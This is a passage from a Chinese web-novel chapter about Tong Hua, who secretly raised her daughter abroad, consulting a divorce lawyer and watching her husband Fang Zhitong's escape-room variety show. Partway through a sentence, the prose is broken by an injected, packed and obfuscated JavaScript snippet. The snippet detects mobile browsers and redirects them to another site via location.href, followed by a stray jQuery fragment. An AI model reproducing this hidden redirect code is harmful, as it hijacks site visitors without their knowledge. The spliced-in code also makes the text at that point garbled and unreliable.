“你什么脑子,不都是先取小名?”方知同无语地看她。 “小名也不好,太正式。” “那你定,我就随口一说。”那天方知同不想吵。 “要不叫糖豆儿吧。”童话灵机一动。 那时候真觉得名字不错,他们还互相叫了一晚上的“糖豆儿爸”和“糖豆儿妈”。 可惜真到糖豆儿“来敲门”的时候,没有一个人记得这件事。 生活还是很苦,永远不会因为多看一眼糖,就能甜起来。 除非那个想吃糖的人,自己主动找糖吃。 万幸,她当年找到了。 童话拿起手机,给顾小新打视频。 这个时间美国是白天,顾小新刚吃完午饭,还在商场,微胖的身材搭配粉色连衣裙和墨镜,整个人看起来气色绝佳。 “姐!”视频里顾小新朝她隔空一个飞吻。 童话微笑,直奔主题,“糖豆儿呢?” “放心吧好着呢!”顾小新赶紧弯腰,从旁边的婴儿车里捞了一把,“糖豆儿过来。哎呦沉死了你个小丫头片子,又长胖了。” “才没有胖!”糖豆儿眨着一双水灵的大眼睛奶声奶气地抱怨,“你在说什么呢?” “没说啥,看你妈!”顾小新朝孩子指了指放在支架上的手机。 糖豆儿的目光这才被吸引过来,看到童话的一瞬脸上绽放出最灿烂的笑,“妈妈妈!” “哎,宝宝。想妈妈吗?” “想妈妈呢。”糖豆儿抓着头发说,“妈妈想我吗?” “想啊,当然。” 童话看着贴到镜头前的小肉脸,忍不住拍拍手做了一个要抱抱的动作。 收到信号的糖豆儿对着屏幕一通乱抓,奶香味都要溢出来了。 “行了行了阿姨就这么一个手机,抓坏了你就见不着你妈啦!”顾小新强行把孩子的小手拿了下去,按在怀里,一边又跟童话抱怨,“姐啊你啥时候回来,再不回来我人要无了,带孩子这活儿别说一天200,下回一小时200我也不干了。” 童话被她逗笑了,“不是前两天跟我软磨硬泡非要带她的时候啦?” 顾小新突然语塞,“那我也不知道,这么可爱的小团子,怎么这么能闹腾啊?” “才没有!”某团子昂起脑袋,极度不开心地看了顾小新一眼。 顾小新不得已妥协:“好好好,你最乖,世界第一乖。” 糖豆儿被夸夸,这才露出笑容。 童话笑着,也不逗她俩了,“不好意思啊小新,你再坚持两天,我跟南宛姐说好了,等她忙完手头的项目就来接糖豆儿。” “还要再换个人带啊……那你得啥时候回?”顾小新一脸茫然。 “不好说。”童话小声嘀咕了一句。给客户还钱应该用不了太久,但离婚手续不知道怎么办。 下午刘慎给她推荐了离婚律师。童话打算明天去律所咨询一下,咨询完再看。但不管怎么说,算上离婚冷静期,至少两个月。 两个月的时间,她确实不好意思一直麻烦顾小新。 看到童话表情不对,顾小新也一秒恢复严肃,“是不是赔偿的事儿不太顺利啊?” “跟那个没关系。”童话勉强一笑。 “那是家里出啥事了?”顾小新追问。 童话的表情很难伪装,已经能够让顾小新看出端倪。 “哎呀如果不是啥大事,要不你带姐夫一起来美国,就当旅个游散散心,姐夫也好久没见糖豆儿了吧?” “嗯……”童话敷衍一句,回答得毫无底气。 何止好久没见,那是一眼都没见过。 流产手术那天,童话本来是铁了心不要这个孩子的。 她想着好好跟这个孩子告个别,然后把流产的单据拍到陈昱怀里,告诉她,孩子她不要了,方知同她也不要了,这个婚她就当结错了,从今往后再也不跟他们家往来。 但是好巧,那天陈昱因为饭店的事,没有来。方劲没来,方知同也没来。 童话一个人坐在医院的走廊里排队,突然间觉得很讽刺。 她一直想证明给方家上下,她是一个有骨气的人,不是他们家的小猫小狗。 可真到她鼓起勇气去证明的时候,方家一个来看的人都没有。 没人在乎她过得怎么样。 一直暗暗较劲咬牙切齿气急败坏的,从来都是她自己,是她自己跟自己过不去。 那天童话的脑子像开窍似的,突然想,她为什么要按照陈昱的想法做事,为什么要屈服于方知同,为什么要过这样的生活…… 她原来是那么有想法的一个人,为什么结了婚,那些想法就都没了。 她看着报告单,不过想了片刻,站起来就往反方向走。 孩子没打掉,是她自己的选择。 结婚以来,第一次属于自己的选择。 她踏上了去美国的旅程,也跟南宛坦白了怀孕的事。 带着孩子工作很辛苦,但因为能做自己喜欢的事,倒也乐在其中。 设计赶稿到施工,总共6个月时间,工程顺风顺水,可完工时童话的身体却出了问题。 怀孕导致的心脏压迫让她必须立刻接受手术。 南宛为她联系了附近最好的医生,先进行剖宫产,随后马上实施心脏手术。 她在重症监护室待了小半月,出来时女儿还在保温箱。 孩子没有遗传任何心脏问题,只是因为早产,合并新生儿肺炎,那时候仍在危险期。 童话穿着病号服,坐在儿科的长椅上,哭了不知道多少次。最严重的时候,她一天一夜没有睡,南宛知道了来劝她,只有养好自己身体才能照顾孩子。 童话听进去了,积极治疗积极康复,和孩子一起,每过一天,都像打赢了一场硬仗。 就这样,提心吊胆的日子过了半年多。 糖豆儿八个月大的时候,童话的心肺功能基本恢复,小孩子的身体指标也达到了优秀。母女俩第一次外出野餐,和工作室的成员们一起,拍了好多照片。 照片贴在工作室的墙上,童话休息的时候就会看两眼。 糖豆儿遗传了童话白皙的皮肤和瓜子脸,只有一双大眼睛随了方知同——要是没随就更好了,那样她就不会每每看到小家伙的眼睛都无比舍不得。 “妈妈。”屏幕里的小奶音让童话回了个神。 “怎么了宝贝?”童话定睛看她。 “妈妈抱。”糖豆儿的小手还在抓。 “妈妈抱着呢。”童话做出抱她的姿势,在怀里晃了晃。 谁知道小孩子一点不上当,鼓着脸颊,眼睛发红,哇地一声哭出来,“妈妈没有抱,妈妈没有抱。” “哎呀哭啥哭,你妈过几天就回来了,想抱多久抱多久。”顾小新把糖豆儿放在肩头,轻轻哄了哄。 “嗯,过几天就回。”童话眼睛发酸,害怕自己忍不住眼泪,匆匆跟顾小新告别,先把电话挂了。 是要快点了。 为了不让糖豆儿等太久,离婚的事,越快越好。 童话很快恢复理智,给顾小新发消息:【家里确实出了点事。这几天你们小心一点。不要随便接国内的电话,谁问糖豆儿的消息都不要说。】 消息发完,童话心里还是直打鼓,想想又觉得多虑。 三年了,方知同都没想过找她找孩子,也不至于就这么几天,突然能发现吧。 18. 童话 见律师的时间定在第二天上午10点钟。 律师叫陆微,听刘慎说是著名律所金牌律师出身,现在辞职后单干,主业之外还学习了两年心理学,对于家庭情感咨询最擅长。 业余时间陆微还经营着自己的公众号,童话去扫过一眼,特意关注了一下粉丝留言,咨询好评率高达95%。 抱着试一试的心态,童话连夜开通了VIP,办理加急预约。 一大早起来,早饭已经被孙阿姨端上桌。种类丰富,色香味俱全,只不过和昨天不同,多了楼下便利店买来的意面和牛排,都是预制菜,微波炉打了一下。 孙阿姨还特地指着那份意面,看童话的脸色,“太太不是吃不惯中餐吗?这个是专门给你准备的。” 童话支吾着,不知道怎么答。 这事不用问就知道,肯定是方知同的要求。 他一惯会臆测别人的想法,永远以自己的猜测为第一标准。 卫生间传来方知同洗漱的声音,童话朝那边瞥了一眼,没好气地坐下,先跟孙阿姨讲:“阿姨你别听他瞎说,我吃得惯。昨天就是没什么胃口而已。” “哦。”孙阿姨面露难色,“心脏好受点了吗?” “好多了。不用担心。我身体没方知同想得那么脆弱。”童话努力朝孙阿姨笑了一下。 可孙阿姨脸上的担忧一点没减,“好多了怎么脸色还这么白的慌?” “嗯……”童话不好说是昨晚哭得没睡好,就随口编:“这个病它恢复有个过程。” 什么病的恢复都有一个过程。 不管是身体的病,还是心病。 方知同从卫生间出来,睡衣没换,头发也是鸡窝样,看起来今天确实没有要出门的意思。 童话低头切牛排,头也不抬地问:“你屋怎么样了?” “还行,你那方法还挺管用,一夜也没积多少水。”方知同坐下说。 童话点点头,“那就好。” 孙阿姨眼神打量着两个人,也不知道该问点什么。 昨晚上吵得那样凶,现在不管问什么都可能踩雷。 三个人沉默着吃饭,持续了快一刻钟。 童话吃好了半份意面和一小口牛排,已经很饱了。 “阿姨,剩下的给我留着我回来吃。”童话说着用纸巾擦嘴。 “什么意思?”方知同警觉地欠了欠身,“你今天要出门?” “天气预报又没说今天下雨。”童话起身,去洗手,洗完掸掸手上的水,回屋梳头化妆。 平时她出门比较随意,不怎么花时间捯饬,但从今天开始,她想对自己好一点,漂亮一点,精致一点,为了迎接即将到来的新生活,先有一个好心情。 全妆化了二十分钟,童话对着镜子打量一会,白皙的皮肤和小巧的五官,让她看起来既甜美又优雅。 换一套薄荷绿纯色衬衫,内搭纯白打底,搭配垂坠感巨佳的同色系休闲裤,最后再踩一双白色老爹鞋,背上她最喜欢青草色百搭小挎包,夏日的气息扑面而来。 推门出卧室,童话故意绕到餐厅。 孙阿姨看到童话,眼睛都看直了,“太太今天到哪儿去啊,穿得真漂亮。” “见个朋友。难得回一趟国,想见的都见见。”童话礼貌答,顺带瞟了一眼方知同的反应。 没什么反应。 某人低着头,特淡定地干饭。 意料之中。 童话推开家门,昂首挺胸地出去。关门的瞬间大口呼吸了一下新鲜空气。 自由的空气,让人神清气爽。 从这里到律所,打车需要一小时。 前台负责接待的是一位长相乖巧的小姑娘,聊了几句才知道,应届生,来实习的。 小姑娘说她们微姐还在接待上一个客户,请童话在等候区沙发坐一会,看她坐下,还去给她倒了一杯温水。 童话跟小姑娘道声谢,转头发现沙发上还坐着两个小朋友。 两个孩子,一男一女,女孩生得瘦瘦小小,梳着羊角辫,看起来不到两岁。男孩六七岁的样子,穿着一身跆拳道的衣服,像是才从兴趣班练习回来,满头都是汗。 小女孩委屈地一直哭,抿着嘴,不敢出声,偶尔抽咽一下,哭出声音,男孩就训她:“别哭了,一会被妈妈听到。” 可是这个年纪的小女孩怎么会听话,男孩一教训,反而哭得更大声。 男孩这才想起来搂住她,试图哄一哄,可一看不起效果,只好用手捂住她的嘴。 女孩把头缩在男孩巴掌底下,哭声依旧。 男孩跟着她,也难忍地掉泪,一边给自己抹眼泪,一边又给女孩抹眼泪,“你别哭了,哭也没用,妈妈不要咱们,就是不要了啊。” 前台小姑娘听到声音赶紧过来,拿着玩偶和糖果,试图安抚,可努力好一会,还是一团糟。 童话拉住小姑娘的胳膊,“孩子家长呢?” “里头客户就是。”小姑娘看了眼身后的玻璃门,焦急地叹了口气。 刚说完,玻璃门打开一条小缝,沙哑的女声骤然吼出:“哭什么哭,不许哭!丢死个人,跟你们死鬼爹一样一样的,小不要脸!” 啪地一声,门又关上了。 童话一愣,想想那个声音,竟然有些熟悉。 “里面的客户,是不是叫钟颜?”童话问前台小姑娘。 没等她答,旁边的小男孩先问:“你怎么认得我妈妈?” 童话心里叹口气。 真是冤家路窄。 她怎么也没想到,能在这里遇到小钟,知道她要离婚,还遇到了两个小孩。 “嗯……我是你妈妈的朋友。”童话朝小男孩凑近一点。 小男孩却故意躲远她,还挡住妹妹的眼睛,警觉地看着童话,“我妈说,不要相信陌生人的话。” “小小年纪懂得还不少。”童话微笑,“我有办法让你妹妹不哭。要不要我帮你?” “不要。”小男孩很坚决。 “那一会再被妈妈骂,怎么办?”童话朝他眨眨眼。 小男孩权衡一下,终于妥协,瘦小的胳膊抱起妹妹,让她坐到自己和童话中间。 童话熟练地抱起那个女孩,在怀里颠了颠,“不哭了哦,妈妈一会就出来了。哦哦,乖。”边拍边哄,很快孩子就安静下来,软软地趴在她肩头,吸着小鼻子,一抽一抽。 童话一边继续轻拍女孩的后背,一边朝旁边的小男孩一挑眉。 小男孩惊讶看着她,现在终于有点相信,她不是坏人。 “阿姨好,我叫吴鑫博,很高兴认识你。” 男孩朝童话伸出一只手,像个小大人似的。 “那我应该叫你,鑫鑫,还是博博?”童话拉了拉那只小手。 “鑫鑫。”小男孩说,看了看童话怀里,“她是我妹妹,琪琪。” “嗯,鑫鑫和琪琪,阿姨记住了。”童话笑眼弯弯。 “你关心我们干吗?你又不是我妈。”小男孩突然有些不高兴,自己低着头,委屈得像一朵发蔫的花骨朵,忍了半晌,又哭出声。 童话没有安慰他,前台小姑娘要过去安慰也被童话拦下来。童话只拿出一张纸巾,递给鑫鑫。 这个年纪的男孩子,自尊心很强。 童话不想再给他什么伤害。 “其实,阿姨跟你经历过一样的事。”童话像跟大人交流一样对他说。 “你爸妈也离婚了?”鑫鑫攥着纸巾,扭头问。 “比这个还要糟糕一点。”童话用手捂住琪琪的耳朵,小声说。 “不,我们更糟糕。”鑫鑫叹了一口气,很烦恼地说,“我爸爸是个酒鬼,每天出去,只会喝酒和打牌,还有找别的漂亮阿姨玩。妈妈没工作,爸爸也不给妈妈钱,所以妈妈都从姥姥姥爷那儿拿钱。后来姥姥姥爷生气了,也不想再给钱。妈妈说日子过不下去,然后就要跟我爸离婚。其实离不离婚都一样,”鑫鑫努了努嘴,“反正不管他们谁,都不会对我俩好。” “所以现在的打算是?”童话有些震惊一个小孩可以知道得这样清楚,于是继续问。 “不知道。”鑫鑫摇头,“要是警察叔叔能说服我爸给钱,我们就跟我妈过。要是我爸不给钱,我们就去福利院。” “这是你妈跟你说的?”童话被他像模像样的话吓了一跳。 “不是。是我自己想的。我上网查过,没人要的孩子是可以去福利院的。”鑫鑫说。 童话有些恍然,很久很久以前,她好像也是这样想的。 但她更清楚来到福利院之后的感受,其实没有想象中的快乐。福利院的环境很好,但没办法彻底打消她对家的渴望。 “阿姨,你说福利院,会收留我们吗?”鑫鑫突然问。 “你想太多了,小朋友。现在不是考虑这个的时候。”童话换了个姿势抱琪琪,让手臂歇一会。 玻璃门后传来相互道谢的声音,门被推开,带着墨镜、一头卷发的钟颜走出来,一眼看见童话,第一反应,火冒三丈,“你怎么在这儿?抱我孩子干嘛?” 童话和和气气地解释,“小孩子哭得太厉害,我就哄了哄。” 她松开手,让钟颜自己把孩子抱过去,贴在身上,好好哄着。 “确实是童女士帮忙哄了哄小朋友。”前台的小姑娘作证。 钟颜这才相信,眼神飘忽一会,最后才难为情地看向童话,一时间不知道该说什么。 她想起第一次视频里见到童话,光鲜靓丽的模样,国外工作,打扮得大方得体,任谁看都是日子过得不错。 那时候她和她老公吴万学闹得正僵,说不清怎么回事看见童话气不打一处来。 人总是嘴上说着过好自己的日子,实际眼睛总长在别人家。 结婚以前,钟颜在一家文学杂志社做编辑,从小职员混到团队副主编,职场上走得顺风顺水,可眼见又要升职的时候,父母的催婚压了下来。 她那时已经三十三岁,还没有稳定的对象。父母本来就是老来得女,加上身体不佳,一直催她找个能照顾自己的人。 钟颜被逼得没辙,不得不相亲上岸,就找了老吴这么个货。老吴洗浴中心工作,模样一般,工资还成。婚后钟颜因为生育辞职在家,就靠老吴一个人的钱。 接连照顾两个孩子让钟颜几乎失去了全部自己的时间,人变得发福,脑子不好使,情绪也经常性失控,大约就是那时候开始,她和老吴的关系越来越不好。 如果不是前段时间老吴拿话激她,说娶她这么些年净赔钱,她也不至于揪着爸妈装修欠款的事,死咬着童话不放。 其实昨天从童话家回来,钟颜心里就不好受。她有工作那会,从来没干过这么没皮没脸耍无赖的事。想着心里不甘心,今天就联系找工作的事。 除了工作,还有离婚。 钟颜攥紧了手里的离婚协议书,再看童话,没懂她怎么也在这儿,还帮她哄孩子? 方知同话都说到那个份上了,不追究她讹人就不错了,他们一家还能好心帮她? 钟颜这边满脑子问号,童话却没想这么多,她站起身,扶了扶包,先一步开口:“昨天你来找我,我不在家,实在不好意思,不过我爱人都跟我说了。装修欠款的事,是公司跟你爸妈的合同,所以钱我不能退给你。但如果你有其他需要帮忙的,可以联系我。都是邻居,没必要再为难了。” 童话说完,拍拍小钟的胳膊,微笑一下,然后绕到她身后,跟陆微打了个招呼。 陆微带她一起进入咨询室,让助理关好门。 陆微女士穿着一身白色西装套装,长直黑发披肩,模样大约四十出头,但一点不显疲态,整个人反而看起来很干练。 两个人握完手,客套了几句,陆微请童话坐下来细说。 “我的基本情况大概就这样。”童话把昨晚提前填好的信息表递过去,开门见山,“我老公是同意离婚的。唯一的问题,应该就是小孩。” “同意离婚的时候,没有商量孩子的事?”陆微的表情,有些意外。 “嗯,对,其实,我老公他,之前一直不太想要这个孩子,所以我就没告诉他……”童话的声音低下去。 陆微本来去接水,饮水机旁,动作停顿了一刹,不敢相信地走回来,看着她,“孩子多大了?” “快两岁半了。”童话说。 “从来没见过爸爸?” “嗯。” “嗯……”陆微皱着眉坐下,靠在沙发背上,重新打量起童话,“不好意思,童女士,我有点没懂。你是怎么判断,你老公不想要这个孩子的。他都没有见过孩子,你们又没有商量。之前我也咨询过这种情况,孩子爸爸一开始不愿意要小孩,但是见到孩子以后,跟孩子特别亲,还有最后夫妻俩离婚,爸爸还更想抚养小孩子。他不想要孩子的事情,是他亲口跟你说的吗?” 童话突然被问懵住。 方知同有说过,他不想要这个孩子吗? 好像没有。 但是他的态度,他的语气,他看她的眼神,那样的斩钉截铁,一点商量余地都没有。 “我看你资料上写的,你老公,是方知同啊?”陆微低头浏览起材料,神色微讶,“是我想的那个方知同吗?” “可能……是,吧?”童话茫然地点头,她太久没关注国内的娱乐圈,也不知道方知同的大众认知度能有这么高,现在搞得还怪尴尬的,“咱们这边信息会严格保密吧。他们公司,可能对这种事比较敏感……” “你放心,会保密。”陆微的专业素养让她很快调整好,重拾微笑,“我平时不追星,但我女儿追。她追的那个综艺好像就是你老公出演的。” “啊?”童话呆滞。 “你看过你老公的综艺吗?”陆微继续发问。 童话摇摇头。 看他的人就够难受了,还看他综艺? “没有的话,可以看一看。我女儿说他在综艺里人特别好,脾气也好,细心,也会照顾人,”陆微的表情严肃起来,像是认真做着什么推理,“不知道能不能推断到,他会喜欢小孩子,对孩子好……” “不能,绝对不可能。”童话双手交叉放胸前,态度坚决,“综艺这种东西好多都靠剪辑,不能信的。” “你先试试看,要是我说的不对,欢迎再来找我。你不是办了VIP吗?新用户第二次咨询可以免费。”陆微和童话握手告别。 今天的咨询就到这里,离婚的事没谈多少,方知同的综艺倒是被安利一大堆。 返程途中,坐在出租车上,童话犹豫再三,还是点开一集。 这是一档解谜类综艺,真人密室逃脱,从三年前到现在,已经录了两季。第二季还没录完…… 这大概就是方知同说,最近很忙的原因吧。 童话看东西有个习惯,一定要从头。看书要读第一页,看电影要看第一幕,看综艺也是,要从第一期开始。 第一季第一期,播出时间在糖豆儿出生日期附近,估算下来,应该在她走后没多久,方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12374901|129850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知同就参与了拍摄。 这一期的主题是中式恐怖。 节目嘉宾被邀请来到一座荒废已久的古宅,他们要作为贺家后人,探索贺老爷子百年前去世的秘密。 贺家百年来一直从事酿酒生意,家业兴盛。贺老爷子娶有一妻,育有三子,生活美满。忽有一夜,贺老爷子暴毙而亡,死因不明。死前只在妻子身边留了一张字条,请家人务必去账房看一看,账房设锁,严防外贼。 于是第一道关卡,从账房开始。 嘉宾们需要根据账本线索进行计算,得到进入下一个房间的四位密码。 童话看到这儿,按下暂停,撇了撇嘴。 这种题目,对方知同一个数学系的人来说,太简单了吧。 也难怪他参加这档综艺能大火。 点击屏幕,童话继续看。 嘉宾们坐在木桌前,一人抱一台算盘,噼里啪啦算。 同期另一位男嘉宾,是当时刚刚参与过一部大制作的新人演员,严端,头发微长,需要在后脑勺绑起一点,人长得文艺,性格也文艺。 他就坐在方知同旁边,推推他胳膊,“方哥,你会打算盘吗?” 方知同不好意思地摇摇头。 童话这才意识到,数学系好像不学打算盘……那怎么办?心算? 但这数字,几百几千几万的,一大长串,也太难了吧。 果然,方知同默默地闭上眼,好像在心算。但关卡的倒计时牌上,红色警示灯已经开始闪烁。 “最后半分钟……”主持人开始提醒,“三十、二十九、二十八……” 童话的心提到嗓子眼。 “我知道了。”一同参与的女嘉宾,童星出道的前辈演员淼淼,率先举手,念出了一串数字。 所有人望着下一扇门的方向,屏息凝神。 主持人对讲机打开,刺耳的“滴”声响起,“很遗憾,答案错误,倒计时十秒钟,十,九,八,七,六,五,四……” “答案。”方知同这个时候才举手,“密码是,四个零。” 空气静止,大家的目光再次看向门的方向,紧张万分。 对讲机终于传来通过的提示音,“恭喜你们,通关成功。” 嘉宾们激动得互相碰手,忍不住庆祝。 童话也跟着松了一口气,“为什么是0啊?” 她较真地打开手机计算器,一个数一个数地计算,最后计算的结果和淼淼一样,是错的。 只能继续往下看了。 童话再次聚精会神。 主持人问方知同:“请知同解释一下,四个零的原因。” 方知同不好意思地说:“贺老爷在纸条上写严防外贼吗?既然锁是为了防外贼,不是防家人,那咱们作为家人进来,应该就是不设密码,初始密码,四个零。” “恭喜知同,回答正确。”主持人说。 原来是一道脑筋急转弯。 其他嘉宾发出不可思议的惊呼。 “方哥厉害啊。”严端站在第二道门外,忍不住感叹。 “可以可以可以,”淼淼凑过来,心服口服,“知同这个家里家外的觉悟挺高啊,以后结了婚百分百是个妻管严。” “啊?”方知同不自然地看她一眼,很快又低下头。 淼淼敏锐地察觉到不对,“有情况啊,方知同?” “没。”方知同当即否定。 童话听裴添说过,那时候为了综艺效果,节目组不让公开恋爱状况,所以方知同不能细答,只能这样马马虎虎。 “哎呀这个反应快的呀,一看就是谈过的。”淼淼忍不住地笑,一点放过的意思都没有,“小时候追你的人特多吧,初恋几岁啊?” 方知同一看躲不过,只好支支吾吾地说:“七,七岁吧,暗恋,不算初恋。” “哇,那采访一下,第一次心动是什么场景?”淼淼手握成拳,假装有话筒的样子,举到方知同嘴边。 某人抬头看看天花板,很仔细地想了想才答:“第一次应该是……她让我演爸爸。” “哈哈哈她叫你爸爸吗?”淼淼大笑不止,“现在小年轻,这么小就玩互相叫爸爸的游戏吗?” 什么鬼? 童话仓皇按下暂停,脸上像发烧一样,忍不住翻了个白眼。 替人尴尬的毛病又犯了。 这家伙什么时候说话能说完整。 不是演她爸爸。 是演肖川爸爸。 不要搞得全国人民都在误会好不好? 这种该死的便宜都要占一下? 真是气死了。 不过冷静下来,童话抱起手机,重新打量起那句话。 等一等,暗恋……七岁…… 难道不是,她先喜欢的他吗? 是她先表的白,她一腔孤勇爱了他一整个青春。 方知同自始至终都像个木头人似的,从来都没说过喜欢啊。 童话心里五味陈杂,就这样纠结一路,浑浑噩噩地走到家门口。 午饭时间已经过了,但桌上还留着饭菜。 孙阿姨不在家,不知道出去忙什么了。 餐桌前,只有在看手机的方知同。 看到综艺里的那张脸重新跳跃进她的生活,童话吓得愣在原地。 “坐这儿干嘛?地板怎么样了?”童话边问边朝次卧张望一眼。 “拆完了,漏水也解决了,师傅说地板要晒一晒,三天后他们再过来。你呢,玩得开心吗?”方知同问。 “挺开心的。”童话洗了个手,坐到餐桌旁。几分钟的工夫,饭菜被微波炉重新加热了一遍。 早上的剩饭一样没有,全是新做的,番茄炒蛋,糖醋排骨、桂花糯米藕,新鲜的米饭和玉米排骨汤。 难得都是她喜欢吃的东西。 童话忍不住“哇”了一声,“都是阿姨做的?” “阿姨回家了。”方知同说,“每个月休息两天,今天她休假。” “那是点的外卖啊?”童话说着拿起筷子先夹了一块排骨,“这么好吃。” 方知同的嘴角微微向上提了一下,故弄玄虚地说:“有没有一种可能,不是外卖?” “不是外卖,难道还是你做的?”童话的眉头皱起来,“怎么可能?” 方知同才上扬的嘴角又压了回去,拿起旁边自己的那碗米饭,语气变得出奇平淡,“怎么就不能是我做的?” “你会做菜?”童话难以相信。 “一直都会。只是之前没什么机会在家。”方知同边吃边说。 “可这也没一样你能吃的吧,你没辣椒能吃饭?”童话震惊。 “那你呢?听刘慎说,你昨天做了一桌子辣菜,你能吃?”方知同反问。 他还记得自己不吃辣啊? 童话的筷子停在半空,大脑飞转想着说辞。 “现在能吃一点。” 其实不是能吃一点,是吃很多。 怀孕的时候就很喜欢吃了。 “能吃也不能多吃。你吃的药不是忌辛辣吗?又忘了?”方知同抬下头,眼神疾速打量了她一眼,头又低下去。 “没有。”童话回避地也低下头,浅嚼了一口米饭,口感松软,水分合适,蒸得刚刚好,边咀嚼边问:“你呢?什么时候能吃甜的?” “其实不太能。”方知同随便夹菜到碗里,确实吃得不算香,“只是会做。” 童话顿了下,不确信地指指自己,“为了做给……我?”